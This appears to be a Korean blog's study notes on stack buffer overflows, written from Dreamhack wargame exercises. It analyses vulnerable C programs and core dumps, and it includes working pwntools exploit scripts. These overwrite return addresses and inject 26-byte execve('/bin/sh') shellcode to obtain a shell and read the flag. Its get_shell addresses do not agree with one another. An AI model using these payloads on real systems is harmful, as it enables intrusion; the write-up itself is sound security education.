[함께실습] Stack Buffer Overflow

 

분석

▶ 취약점 분석

scanf(“%s”, buf) : 문자열을 입력받을 때 사용

특징 : 입력의 길이를 제한 X, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받음

→ 이 특징으로 인해 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 사용하지 말아야 하며, n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야 한다. strcpy, strcat, sprintf 대신 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때는 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는 것이 좋다.

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

이 코드에서는 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있을 것이다.

 

▶ 트리거

: 취약점을 발현시킴

AAAAA만 입력해주었을 때는 프로그램이 정상적으로 종료되었다.

하지만 A를 64개 입력하였더니 Segmentation fault 에러가 발생하며 프로그램이 비정상적으로 종료되었다.

Segmentation fault(core dumped) 에러
: 프로그램이 잘못된 메모리 주소에 접근했다는 의미, 프로그램에 버그가 발생했다는 신호
- core dumped : 코어파일(core)을 생성했다는 것으로 프로그램이 비정상 종료되었을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것

 

※ 코어 파일이 생성되지 않았을 때

리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다.

다음 커맨드로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.

$ ulimit -c unlimited

 

▶ 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 셸을 획득하기 위한 계획을 세울 수 있다.

$ gdb -c core

이 명령어로 코어 파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

 

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')라는 것을 알 수 있다. 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 알아야 한다. 이를 위해 main의 어셈블리 코드 중 scanf에 인자를 전달하는 부분을 자세히 살펴보자.

scanf("%s", (rbp-0x30));

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려 보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.

 

▶ get_shell() 주소 확인

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};
   execve(cmd, args, NULL);
}

get_shell()의 주소가 0x411dd임을 확인했다.

 

▶ 페이로드 구성

페이로드 : 공격을 위해 프로그램에 전달하는 데이터

 

▶ 엔디언 적용

구성한 페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다.

엔디언 : 메모리에서 데이터가 정렬되는 방식

리틀 엔디언 : 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장
빅 엔디언 : 데이터의 MSB가 가장 낮은 주소에 저장

아래 사진과 같이 0x12345678는 엔디언에 따라 다르게 저장된다.

 

0x4005a7이 메모리에 어떻게 저장되는지 살펴보자

// Name: endian.c
// Compile: gcc -o endian endian.c
#include <stdio.h>
int main() {
  unsigned long long n = 0x4005a7;
  printf("Low <-----------------------> High\n");
  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
  return 0;
}

 

▶ 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다. 커맨드는 파이썬으로 출력한 페이로드를 rao의 입력으로 전달한다.

$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao

이렇게 하면 셸을 획득할 수 있다.

 

부록: 취약점 패치

▶ 취약점 패치

취약점을 발견하는 것만큼 중요한 것이 발견한 취약점을 패치하는 것이다. 

 

▶ rao

rao에서는 위험한 문자열 입력함수를 사용하여 취약점이 발생했다.

 

< C언어에서 자주 사용되는 문자열 입력 함수와 패턴들과 특징 >


실습

main() 함수 중 scanf 부분에서 버그가 발생한다.

따라서 buf(0x30)+ SFP(8)를 nop으로 덮고 ret 영역을 get_shell() 주소로 덮어주어야 한다.

buf의 크기가 0x28 byte지만 0x30만큼 rbp로부터 빼주었기 때문에 0x30byte로 계산해준다.

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
code = b"a" * 0x38
code += p64(0x4006aa)
p.sendline(code) 
p.interactive()


[혼자실습] Stack Buffer Overflow

 

basic_exploitation_000

먼저 실행해보았더니 buf = (0x7ffe7258e780)이 출력되었다. 그리고 이 메모리 주소는 실행할 때마다 바뀌었다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

문제 내 c코드를 확인해보았다.

 

- main 함수

char형 buf의 길이가 0x80으로 설정되어 있었다. 이를 10진수로 바꿔보면 128이 되므로 128byte이다.

initialize 함수가 호출되며 buf의 주소값을 출력해주었다. 그리고 141길이의 문자열을 입력받아 buf에 저장해준다.

 

- initialize 함수

30초 지나면 TIME OUT를 출력해준다.

 

스택 : 0x80 | SFP | RET

scanf에서는 141만큼의 문자열을 입력받지만 buf의 크기는 128이다. 따라서 오버플로우가 발생할 것이다. 

buf(128) + sfp(4) = 132byte 이므로 ret까지 도달하기 위해서 필요한 크기는 132byte 이다.

26 byte 셸코드(scanf 입력받을 때)
:\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

나머지 문자열 크기 : 132 - 26 = 106byte

 

→ code = 셸코드 + a*106 + buf문자열

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
p.recvuntil("buf = (")
add = int(p.recv(10), 16)
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*106 
code += p32(add)
p.send(code)
p.interactive()

출력 형식이 buf = (%p) 이므로 내가 원하는 괄호 내 숫자만 얻기 위해 p.recvuntil을 이용해 "buf = (" 다음부터 받도록 했다.  buf주소 10byte를 16진수로 받아 add에 저장하였다. 그리고 26바이트 셸코드와 A 10개를 code에 추가해주고 32bit little endian방식으로 add를 packing해주어 code에 추가하였다.

 

이를 실행해보았다.

ls로 flag파일이 있음을 확인하고 cat을 이용해 flag을 열어주어 찾을 수 있었다.

 

basic_exploitation_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

basic_exploitation_000과 다른점

- main함수에서 gets로 buf를 입력받는다. 이는 오버플로우를 발생시킬 수 있다.

- void read_flag()가 있다. 이는 system 명령어로 flag를 cat명령어를 통해 보여주도록 하는것이다.

 

스택 : 0x80 | SFP | RET

buf(128) + sfp(4) = 132byte

from pwn import *

p = remote("host1.dreamhack.games", 포트번호)

code = b"A" * 132
code += p32(0x080485b9)

p.sendline(code) 
p.interactive()

code에 132개의 A를 넣어주고 read_flag함수의 시작주소를 넣어주었다.

이를 실행해보았다.

flag를 찾을 수 있었다.

+ Recent posts